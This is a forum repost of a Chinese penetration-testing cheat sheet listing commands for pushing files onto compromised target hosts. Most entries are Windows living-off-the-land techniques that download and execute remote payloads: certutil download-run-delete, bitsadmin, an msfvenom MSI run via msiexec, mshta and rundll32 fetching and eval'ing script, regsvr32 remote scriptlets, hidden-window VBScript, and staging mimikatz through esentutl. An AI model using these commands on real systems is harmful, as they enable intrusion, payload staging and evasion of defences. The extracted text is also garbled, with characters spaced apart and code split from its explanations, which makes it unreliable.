搜索

[22162] 2021-07-16_干货命令行终端下载指令大全

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-07-16_干货命令行终端下载指令大全 干 货 | 命 令 行 / 终 端 下 载 指 令 大 全 L e m o n S e c   2 0 2 1 - 0 7 - 1 6 文 文 章 作 者 ： 肖 恩 肖 恩 章 作 者 ： 肖 恩 肖 恩 博 客 地 址 ： 博 客 地 址 ： w w w . c n b l o g s . c o m / - m o - / 0 x 0 1   简 介 简 介 在 我 们 渗 透 测 试 的 过 程 中 ， 通 常 会 需 要 向 目 标 主 机 传 送 一 些 文 件 ， 来 达 到 提 权 ， 维 持 控 制 等 目 的 。 因 此 当 不 方 便 进 行 直 接 传 输 时 ， 同 时 目 标 主 机 是 能 有 网 络 连 接 的 ， 那 么 此 时 就 可 以 通 过 本 地 下 载 这 种 方 法 来 达 到 文 件 传 输 的 目 的 。 此 篇 文 章 ， 我 会 对 互 联 网 上 针 对 w i n 与 l i n u x 大 部 分 的 下 载 指 令 来 做 一 个 汇 总 ， 可 能 会 有 疏 漏 ， 但 汇 总 的 都 是 经 常 会 用 的 。 0 x 0 2   L i n u x 2 . 1   W g e t 这 款 工 具 功 能 很 丰 富 ， 可 以 充 当 某 种 功 能 完 备 的 G U I 下 载 管 理 器 ， 它 拥 有 一 款 理 想 的 下 载 管 理 器 所 需 要 的 所 有 功 能 ， 比 如 它 可 以 恢 复 下 载 ， 可 以 下 载 多 个 文 件 ， 出 现 某 个 连 接 问 题 后 ， 可 以 重 新 尝 试 下 载 ， 你 甚 至 可 以 管 理 最 大 的 下 载 带 宽 。 直 接 下 载 ： 后 台 下 载 : 如 果 互 联 网 连 接 出 现 中 断 ， 恢 复 下 载 ： 从 某 个 密 码 保 护 的 f t p 软 件 库 下 载 文 件 ： 2 . 2   C u r l C u r l 是 另 一 种 高 效 的 下 载 工 具 ， 它 可 以 用 来 上 传 或 下 载 文 件 ， 只 要 使 用 一 个 简 单 的 命 令 。 它 支 持 暂 停 和 恢 复 下 载 程 序 包 ， 并 支 持 数 量 最 多 的 W e b 协 议 ， 可 预 测 下 载 完 成 还 剩 余 多 少 时 间 ， 可 通 过 进 度 条 来 显 示 下 载 进 度 。 它 是 所 有 L i n u x 发 行 版 的 内 置 工 具 。 直 接 下 载 ： 借 助 - o 选 项 ， 提 供 名 称 ， 下 载 文 件 会 以 该 名 称 保 存 ； 如 使 用 - O 选 项 ， 文 件 就 会 以 原 始 名 称 保 存 。 w g e t   h t t p : / / w w w . s a m p l e - v i d e o s . c o m / v i d e o / m p 4 / b i g . m p 4 w g e t   - b   h t t p : / / w w w . s a m p l e - v i d e o s . c o m / v i d e o / m p 4 / b i g . m p 4 w g e t   - c   h t t p : / / w w w . s a m p l e - v i d e o s . c o m / v i d e o / m p 4 / b i g . m p 4 w g e t   - - f t p - u s e r = < u s e r _ n a m e >   - - f t p - p a s s w o r d = < G i v e _ p a s s w o r d >   D o w n l o a d - u r l - a d d r e s s c u r l   - o   u m . m p 4   h t t p : / / w w w . s a m p l e - v i d e o s . c o m / v i d e o / m p 4 / b i g . m p 4
2 . 3   A x a l 这 是 w g e t 的 出 色 替 代 者 ， 是 一 款 轻 量 级 下 载 实 用 工 具 。 它 实 际 上 是 个 加 速 器 ， 因 为 它 打 开 了 多 路 h t t p 连 接 ， 可 下 载 独 立 文 件 片 段 ， 因 而 文 件 下 载 起 来 更 快 速 。 直 接 下 载 ： 2 . 4   A r i a 2 这 是 一 种 开 源 命 令 行 下 载 加 速 器 ， 支 持 多 个 端 口 ， 你 可 以 使 用 最 大 带 宽 来 下 载 文 件 ， 是 一 款 易 于 安 装 、 易 于 使 用 的 工 具 。 直 接 下 载 ： 2 . 5   P e r l P e r l 是 一 门 很 吊 的 语 言 ， 使 用 它 基 本 可 以 实 现 任 何 事 情 ， 用 它 实 现 文 件 下 载 也 很 简 单 。 执 行 脚 本 文 件 是 这 样 : 2 . 6   P y t h o n P y t h o n 也 是 很 受 欢 迎 的 主 流 脚 本 语 言 ， 代 码 清 晰 且 简 洁 : 2 . 7   R u b y a p t - g e t   i n s t a l l   a x a l a x e l   h t t p : / / w w w . s a m p l e - v i d e o s . c o m / v i d e o / m p 4 / b i g . m p 4 a p t - g e t   i n s t a l l   a r i a 2 a r i a 2 c   h t t p : / / w w w . s a m p l e - v i d e o s . c o m / v i d e o / m p 4 / b i g . m p 4 # ! p e r l # ! / u s r / b i n / p e r l u s e   L W P : : S i m p l e ; g e t s t o r e ( " h t t p : / / d o m a i n / f i l e " ,   " f i l e " ) ; p e r l   t e s t . p l # ! p y t h o n # ! / u s r / b i n / p y t h o n i m p o r t   u r l l i b 2 u   =   u r l l i b 2 . u r l o p e n ( ' h t t p : / / d o m a i n / f i l e ' ) l o c a l F i l e   =   o p e n ( ' l o c a l _ f i l e ' ,   ' w ' ) l o c a l F i l e . w r i t e ( u . r e a d ( ) ) l o c a l F i l e . c l o s e ( )
R u b y 是 一 个 面 对 对 象 的 语 言 ， M e t a s p l o i t 框 架 就 是 用 它 来 实 现 的 ， 当 然 他 也 可 以 实 现 像 下 载 文 件 这 样 的 小 任 务 。 执 行 脚 本 文 件 是 这 样 ； 2 . 8   P H P P H P 作 为 一 种 服 务 端 脚 本 ， 也 可 以 实 现 下 载 文 件 这 种 功 能 。 执 行 脚 本 文 件 是 这 样 : 2 . 9   F T P 一 般 情 况 下 攻 击 者 使 用 F T P 上 传 文 件 需 要 很 多 交 互 的 步 骤 ， 下 面 这 个   b a s h   脚 本 ， 考 虑 到 了 交 互 的 情 况 ， 可 以 直 接 执 行 并 不 会 产 生 交 互 动 作 。 # ! r u b y # ! / u s r / b i n / r u b y r e q u i r e   ' n e t / h t t p ' N e t : : H T T P . s t a r t ( " w w w . d o m a i n . c o m " )   {   | h t t p | r   =   h t t p . g e t ( " / f i l e " ) o p e n ( " s a v e _ l o c a t i o n " ,   " w b " )   {   | f i l e | f i l e . w r i t e ( r . b o d y ) } } r u b y   t e s t . r b # ! / u s r / b i n / p h p < ? p h p                 $ d a t a   =   @ f i l e ( " h t t p : / / e x a m p l e . c o m / f i l e " ) ;                 $ l f   =   " l o c a l _ f i l e " ;                 $ f h   =   f o p e n ( $ l f ,   ' w ' ) ;                 f w r i t e ( $ f h ,   $ d a t a [ 0 ] ) ;                 f c l o s e ( $ f h ) ; ? > p h p   t e s t . p h p f t p   1 2 7 . 0 . 0 . 1 u s e r n a m e p a s s w o r d g e t   f i l e e x i t
当 然 根 据 实 际 情 况 也 可 以 进 入 交 互 终 端 ： 2 . 1 0   N e t c a t 攻 击 者 的 电 脑 上 输 入 ： 这 个 命 令 会 将 f i l e 的 内 容 输 出 到 本 地 的 1 2 3 4 端 口 中 ， 然 后 不 论 谁 连 接 此 端 口 ， f i l e 的 内 容 将 会 发 送 到 连 接 过 来 的 I P 。 目 标 电 脑 上 的 命 令 ： 这 条 命 令 将 连 接 攻 击 者 的 电 脑 ， 接 受 f i l e 内 容 保 存 。 0 x 0 3   W i n d o w s 3 . 1   P o w e r s h e l l P o w e r S h e l l   是 一 种 w i n o d w s 原 生 的 脚 本 语 言 ， 对 于 熟 练 使 用 它 的 人 来 说 ， 可 以 实 现 很 多 复 杂 的 功 能 。 下 面 这 两 条 指 令 实 现 了 从 I n t e r n e t 网 络 下 载 一 个 文 件 。 3 . 2   I P C $ 3 . 3   C e r t u t i l 可 以 应 用 到 :   W i n d o w s   S e r v e r   2 0 0 3 ,   W i n d o w s   S e r v e r   2 0 0 3   R 2 ,   W i n d o w s   S e r v e r   2 0 0 3   w i t h   S P 1 ,   W i n d o w s   S e r v e r   2 0 0 3   w i t h   S P 2 f t p   1 9 2 . 1 6 8 . 3 . 2 输 入 用 户 名 和 密 码 后 l c d   E : f i l e   #   进 入 E 盘 下 的 f i l e 目 录 c d   w w w   #   进 入 服 务 器 上 的 w w w 目 录 g e t   a c c e s s . l o g   #   将 服 务 器 上 的 a c c e s s . l o g 下 载 到 E : f i l e c a t   f i l e   |   n c   - l   1 2 3 4 n c   h o s t _ i p   1 2 3 4   >   f i l e $ p   =   N e w - O b j e c t   S y s t e m . N e t . W e b C l i e n t $ p . D o w n l o a d F i l e ( " h t t p : / / d o m a i n / f i l e "   " C : % h o m e p a t h % f i l e " ) c o p y   1 9 2 . 1 6 8 . 3 . 1 c $ t e s t . e x e   E : f i l e c m d . e x e   / k   <   w e b d a v s e r v e r f o l d e r b a t c h f i l e . t x t
文 件 下 载 并 执 行 如 下 ： C o p y 3 . 4   V i s u a l   B a s i c 在 1 9 9 8 年 V i s u a l   B a s i c 最 终 标 准 在 w i n d o w s 上 确 定 。 下 面 的 代 码 可 以 实 现 下 载 文 件 ， 虽 然 它 的 长 度 比 P o w e r s h e l l 长 多 了 。 在 w i n d o w s 中 C s c r i p t 指 令 可 以 允 许 你 执 行 V B S 脚 本 文 件 或 者 对 s c r i p t 脚 本 做 一 些 设 置 。 在 w i n d o w s   7 中 这 个 指 令 并 不 是 必 须 要 用 到 。 但 是 在 w i n d o w s   X P 中 需 要 使 用 这 条 指 令 ， 如 下 所 示 : 3 . 5   T f t p 在 W i n d o w s   V i s t a 以 及 以 后 的 版 本 中 默 认 有 F T P ， 可 以 使 用 以 下 命 令 运 行 ： 上 传 ： 下 载 ： c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / 1 9 2 . 1 6 8 . 3 . 1 / t e s t . e x e   f i l e . e x e c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / 1 9 2 . 1 6 8 . 3 . 1 / t e s t . e x e   d e l e t e             # 删 除 缓 存 c e r t u t i l   - v e r i f y c t l   - s p l i t   - f   - s p l i t   h t t p : / / 1 9 2 . 1 6 8 . 3 . 1 / t e s t . e x e # 此 条 命 令 ， 会 将 原 文 件 下 载 成 为 临 时   b i n   文 件 ， 把 名 字 改 回 来 一 样 可 以 正 常 运 行 c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / s i t e . c o m / a   a . e x e   & &   a . e x e   & &     d e l   a . e x e   & &   c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / 1 9 2 . 1 6 8 . 2 5 4 . 1 0 2 : 8 0 / a   d e l e t e S e t   a r g s   =   W s c r i p t . A r g u m e n t s U r l   =   " h t t p : / / d o m a i n / f i l e " d i m   x H t t p :   S e t   x H t t p   =   c r e a t e o b j e c t ( " M i c r o s o f t . X M L H T T P " ) d i m   b S t r m :   S e t   b S t r m   =   c r e a t e o b j e c t ( " A d o d b . S t r e a m " ) x H t t p . O p e n   " G E T " ,   U r l ,   F a l s e x H t t p . S e n d w i t h   b S t r m         . t y p e   =   1   '         . o p e n         . w r i t e   x H t t p . r e s p o n s e B o d y         . s a v e t o f i l e   "   C : % h o m e p a t h % f i l e " ,   2   ' e n d   w i t h c s c r i p t   t e s t . v b s t f t p   - i   I P 地 址   P U T   C : % h o m e p a t h % f i l e   远 程 存 放 位 置
3 . 6   B i t s a d m i n B i t s a d m i n 是 W i n d o w s 命 令 行 工 具 ， 用 户 可 以 使 用 它 来 创 建 下 载 或 上 传 的 任 务 。 只 能 命 令 下 载 到 指 定 路 径 上 ， w i n 7 以 上 ： 3 . 7   m s i e x e c c a l c . p n g : 3 . 8   I E E x e c 3 . 9   P y t h o n 3 . 1 0   M s h t a r u n . h t a   内 容 如 下 ： t f t p   - i   I P 地 址   G E T   C : % h o m e p a t h % f i l e   本 地 存 放 位 置 b i t s a d m i n   / t r a n s f e r   m y D o w n L o a d J o b   / d o w n l o a d   / p r i o r i t y   n o r m a l   " h t t p : / / 1 9 2 . 1 6 8 . 2 0 3 . 1 4 0 / b . p s 1 "   " E : p h p s t u d y _ p r o W W W b . p s 1 " b i t s a d m i n   / r a w r e t u r n   / t r a n s f e r   g e t f i l e   h t t p : / / 1 9 2 . 1 6 8 . 3 . 1 / t e s t . t x t   E : f i l e t e s t . t x t b i t s a d m i n   / r a w r e t u r n   / t r a n s f e r   g e t p a y l o a d   h t t p : / / 1 9 2 . 1 6 8 . 3 . 1 / t e s t . t x t   E : f i l e t e s t . t x t m s i e x e c   / q   / i   h t t p : / / 1 9 2 . 1 6 8 . 3 . 1 / c a l c . p n g m s f v e n o m   - f   m s i   - p   w i n d o w s / e x e c   C M D = c a l c . e x e   >   c a c l . p n g C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k v 2 . 0 . 5 0 7 2 7 >   c a s p o l   - s   o f f C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k v 2 . 0 . 5 0 7 2 7 >   I E E x e c   h t t p : / / 1 9 2 . 1 6 8 . 3 . 1 / t e s t . e x e C : p y t h o n 2 7 p y t h o n . e x e   - c   “ i m p o r t   u r l l i b 2 ;   e x e c   u r l l i b 2 . u r l o p e n ( ‘ h t t p : / / 1 9 2 . 1 6 8 . 3 . 1 / t e s t . z i p ’ ) . r e a d ( ) ; ” m s h t a   h t t p : / / 1 9 2 . 1 6 8 . 3 . 1 / r u n . h t a
3 . 1 1   R u n d l l 3 2 依 赖 于 W S c r i p t . s h e l l 这 个 组 件 : 3 . 1 2   R e g s v r 3 2 R e g s v r 3 2 命 令 用 于 注 册 C O M 组 件 ， 是   W i n d o w s   系 统 提 供 的 用 来 向 系 统 注 册 控 件 或 者 卸 载 控 件 的 命 令 ， 以 命 令 行 方 式 运 行 。 W i n X P 及 以 上 系 统 的 r e g s v r 3 2 . e x e 在 w i n d o w s s y s t e m 3 2 文 件 夹 下 ； 2 0 0 0 系 统 的 r e g s v r 3 2 . e x e 在 w i n n t s y s t e m 3 2 文 件 夹 下 。 t e s t . d a t a 内 容 ： < H T M L >   < m e t a   h t t p - e q u i v = " C o n t e n t - T y p e "   c o n t e n t = " t e x t / h t m l ;   c h a r s e t = u t f - 8 " > < H E A D >   < s c r i p t   l a n g u a g e = " V B S c r i p t " > W i n d o w . R e S i z e T o   0 ,   0 W i n d o w . m o v e T o   - 2 0 0 0 , - 2 0 0 0 S e t   o b j S h e l l   =   C r e a t e O b j e c t ( " W s c r i p t . S h e l l " ) o b j S h e l l . R u n   " c m d . e x e   / c   n e t   u s e r "   / /   这 里 填 写 命 令 s e l f . c l o s e < / s c r i p t > < b o d y > d e m o < / b o d y > < / H E A D >   < / H T M L > m s h t a   v b s c r i p t : C l o s e ( E x e c u t e ( " G e t O b j e c t ( " " s c r i p t : h t t p : / / w e b s e r v e r / p a y l o a d . s c t " " ) " ) ) r u n d l l 3 2 . e x e   j a v a s c r i p t : " . . m s h t m l , R u n H T M L A p p l i c a t i o n   " ; d o c u m e n t . w r i t e ( ) ; h = n e w % 2 0 A c t i v e X O b j e c t ( " W i n H t t p . W i n H t t p R e q u e s t . 5 . 1 " ) ; h . O p e n ( " G E T " , " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 1 / c o n n e c t " , f a l s e ) ; t r y { h . S e n d ( ) ; b = h . R e s p o n s e T e x t ; e v a l ( b ) ; } c a t c h ( e ) { n e w % 2 0 A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( " c m d   / c   t a s k k i l l   / f   / i m   r u n d l l 3 2 . e x e " , 0 , t r u e ) ; } % r e g s v r 3 2   / u   / s   / i : h t t p : / / 1 9 2 . 1 6 8 . 3 . 1 / t e s t . d a t a   s c r o b j . d l l
还 可 以 利 用   h t t p s : / / g i t h u b . c o m / C r o w e C y b e r s e c u r i t y / p s 1 e n c o d e   生 成 s c t 文 件 ： 3 . 1 3   W i n d o w s   S h a r e W i n d o w s   s h a r e s 可 以 加 载 一 个 驱 动 器 ， 然 后 用 命 令 来 复 制 文 件 。 加 载 远 程 驱 动 ： 3 . 1 4   格 式 转 换 格 式 转 换 当 需 要 把 一 个 e x e 文 件 放 到 目 标 计 算 机 上 时 ， N i s h a n g 可 以 使 用 P o w e r S h e l l 允 许 你 把 一 个 e x e 转 换 成 h e x ， 然 后 把 h e x 再 转 换 成 原 来 的 e x e 文 件 ： 把 e x e 转 成 h e x 文 件 输 入 ： 打 开 e v i l . t x t 文 件 ， 复 制 内 容 ， 然 后 通 过 R D P 的 剪 贴 板 复 制 进 目 标 计 算 机 ， 把 h e x 文 件 还 原 成 e x e 文 件 输 入 ： 3 . 1 5   其 它 其 它 1 . M S X S L . E X E m s x s l . e x e 是 微 软 用 于 命 令 行 下 处 理 X S L 的 一 个 程 序 ， 所 以 通 过 他 ， 我 们 可 以 执 行 J a v a S c r i p t 进 而 执 行 系 统 命 令 。 < ? X M L   v e r s i o n = " 1 . 0 " ? > < s c r i p t l e t > < r e g i s t r a t i o n         p r o g i d = " S h o r t J S R A T "         c l a s s i d = " { 1 0 0 0 1 1 1 1 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 F E E D A C D C } "   >         < ! - -   L e a r n   f r o m   C a s e y   S m i t h   @ s u b T e e   - - >         < s c r i p t   l a n g u a g e = " J S c r i p t " >                 < ! [ C D A T A [                         p s     =   " c m d . e x e   / c   c a l c . e x e " ;                         n e w   A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( p s , 0 , t r u e ) ;                 ] ] > < / s c r i p t > < / r e g i s t r a t i o n > < / s c r i p t l e t > r e g s v r 3 2   / u   / s   / i : h t t p : / / 1 9 2 . 1 6 8 . 3 . 1 / t e s t . s c t   s c r o b j . d l l n e t   u s e   x :   1 2 7 . 0 . 0 . 1 s h a r e   / u s e r : e x a m p l e . c o m u s e r I D   m y P a s s w o r d P S   >   . E x e t o T e x t . p s 1   e v i l . e x e   e v i l . t x t P S   >   . T e x t t o E x e . p s 1   e v i l . t e x t   e v i l . e x e
2 . p u b p r n . v b s 在 W i n d o w s   7 以 上 版 本 存 在 一 个 名 为 P u b P r n . v b s 的 微 软 已 签 名 W S H 脚 本 ， 其 位 于 C : W i n d o w s S y s t e m 3 2 P r i n t i n g _ A d m i n _ S c r i p t s e n - U S 3 . e s e n t u t l . e x e / e x t r a c 3 2 . e x e 0 x 0 4   参 考 链 接 参 考 链 接 h t t p s : / / x z . a l i y u n . c o m / t / 1 6 5 4 h t t p s : / / w w w . t 0 0 l s . n e t / a r t i c l e s - 4 9 5 0 1 . h t m l h t t p s : / / e v i 1 c g . m e / a r c h i v e s / r e m o t e _ e x e c . h t m l h t t p s : / / w w w . u n i x m e n . c o m / t o p - 1 0 - c o m m a n d - l i n e - t o o l s - d o w n l o a d i n g - l i n u x / 渗 透 测 试 干 货   |   横 向 渗 透 的 常 见 方 法 一 次 通 过 漏 洞 挖 掘 成 功 渗 透 某 网 站 的 过 程 安 全 团 队 不 可 错 过 的 七 个 云 安 全 开 源 工 具 欢 迎 关 注 欢 迎 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦 e s e n t u t l . e x e   / y   " 1 7 2 . 1 6 . 2 4 9 . 1 4 9 s h a r e   m i m i k a t z _ t r u n k . z i p "   / d " C : U s e r s P u b l i c m i m i k a t z _ t r u n k . z i p "   / 0 e x t r a c 3 2 . e x e   / Y   / C   1 7 2 . 1 6 . 2 4 9 . 1 4 9 s h a r e t e s t . t x t   C : U s e r s P u b l i c t e s t . t x t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理